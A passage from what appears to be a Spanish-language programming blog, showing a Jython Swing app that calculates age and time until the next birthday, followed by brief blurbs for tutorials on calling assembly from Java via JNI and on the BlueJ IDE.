        f2 = f2.replace(month = f2.month + 1 if dias < 0 else f2.month)
        # numero de dias que tiene el mes anterior de la primera fecha
        if f1.month == 1:
            dias_mes_anterior = calendar.monthrange(f1.year-1,12)[1]
        else:
            dias_mes_anterior = calendar.monthrange(f1.year,f1.month-1)[1]
        dias = dias_mes_anterior + dias if dias < 0 else dias
        meses = f1.month - f2.month
        # se devuelve 1 a los anios en caso de ser negativos los meses
        f2 = f2.replace(year = f2.year + 1 if meses < 0 else f2.year)
        meses = 12 + meses if meses < 0 else meses
        anios = f1.year - f2.year
        return (anios, meses, dias)
De esta manera entonces reduciremos el cálculo de la edad y del tiempo del próximo cumpleaños prácticamente a una simple resta de fechas:
    def edad(nacimiento):
        """ Devuleve la edad en una tupla de anios, meses y dias """
        hoy = datetime.date.today()
        return restarfechas(hoy,nacimiento)
     
    def cumpleanios(nacimiento):
        """ Devuelve el tiempo restante para el siguiente cumpleanios """
        hoy = datetime.date.today()
        cumpleanios = datetime.date(hoy.year,nacimiento.month,nacimiento.day)
        if cumpleanios < hoy:
        cumpleanios = cumpleanios.replace(year = hoy.year + 1)
        faltan = restarfechas(cumpleanios,hoy)
        return (faltan[1],faltan[2])
Enlazando las partes de la aplicación con Jython

Finalmente enlazamos todo el escenario con un script en el cual básicamente creamos los manejadores Swing o AWT para que procesen los eventos y las interacciones del usuario interconectando con la lógica ya programada en Python puro.

Mostramos la clase principal por decirlo así, en donde creamos la GUI y registramos los manejadores de eventos, evidenciando además el uso de las librerías de la JVM, lo cual puede ser interpretado por Jython:
    # Archivo: aplicacion.py
    from java.awt.event import ActionListener
    from javax.swing.event import ChangeListener
    from javax.swing import JOptionPane
    from java.lang import Integer
     
    import datetime, calendar
     
    import gui, logic
     
    class Aplicacion:
     
        form = None
     
        @staticmethod
        def run():
            Aplicacion.form = gui.Ventana()
            Aplicacion.form.visible = True
            Aplicacion.form.btnsalir.addActionListener(ManejadorSalir())
            Aplicacion.form.spnmes.addChangeListener(ManejadorMes())
            Aplicacion.form.btncalcular.addActionListener(ManejadorCalcular())
Para muestra el manejador de eventos que ejecuta el calculo de la edad:
class ManejadorCalcular(ActionListener):
    def actionPerformed(self,ev):
        mesint = Aplicacion.form.spnmes.model.list.indexOf(Aplicacion.form.spnmes.value) + 1
        fecha_n = datetime.date(Aplicacion.form.spnanio.value,mesint,Aplicacion.form.spndia.value)
        edad = logic.edad(fecha_n)
        nombre = '%s %s' % (Aplicacion.form.txtnombres.text,Aplicacion.form.txtapellidos.text)
        msg1 = '%s tiene %d anios %d meses %d dias' % (nombre,edad[0], edad[1], edad[2])
        JOptionPane.showMessageDialog(None, msg1)
        cumple = logic.cumpleanios(fecha_n)
        meses,dias = cumple[0],cumple[1]
        if meses == 0 and dias == 0:
            msg2 = 'Hoy es su cumpleanios.  Felicitaciones :)'
        else:
            msg2 = 'Faltan %d meses %d dias para su cumpleanios' % (cumple[0],cumple[1])
        JOptionPane.showMessageDialog(None, msg2)
A continuación unas muestras de la ejecución de la aplicación (si la fecha actual es 18 de agosto del 2011) que se debe ejecutarse con:

miltonlab@debianlab:~/edadjpy$ jython aplicacion.py
 
Ventana inicial

Presentación de la edad
Tiempo restante para el cumpleaños
 
 
Post realiado por Expermicid
 



Invocar programas de asm desde Java

15:16 0 Comments A+ a-


Tutorial para invocar programas desarrollados con lenguaje ensamblador desde Java usando JNI (Interfaz Nativa Java). El tutorial muestra paso a paso los requisitos y configuración del sistema necesarios en un ambiente de Windows XP 32 bits, así como la programación (en ASM y en Java) para poder integrar estas dos tecnologías. El tutorial está acompañado por el código fuente para su consulta.

Contenido

   1. Introducción
   2. ¿Cuándo usar JNI?
   3. Requerimientos de software
   4. Configuración del ambiente de trabajo
   5. La programación
   6. La ejecución
   7. Conclusión
   8. Referencias y lecturas

Escrito por: Jorge Ruiz Aquino (jesfre)


Post realizado por Expermicid

Tutorial de Bluej

14:31 0 Comments A+ a-

Este tutorial es una introducción al uso del entorno de programación BlueJ. BlueJ es un entorno de desarrollo para Java™ diseñado específicamente para la enseñanza en un curso introductorio. Fue diseñado e implementado por el equipo de BlueJ en la Universidad de Monash, Melbourne, Australia, y la Universidad de Southern Denmark, Odense.


Post realizado por Expermicid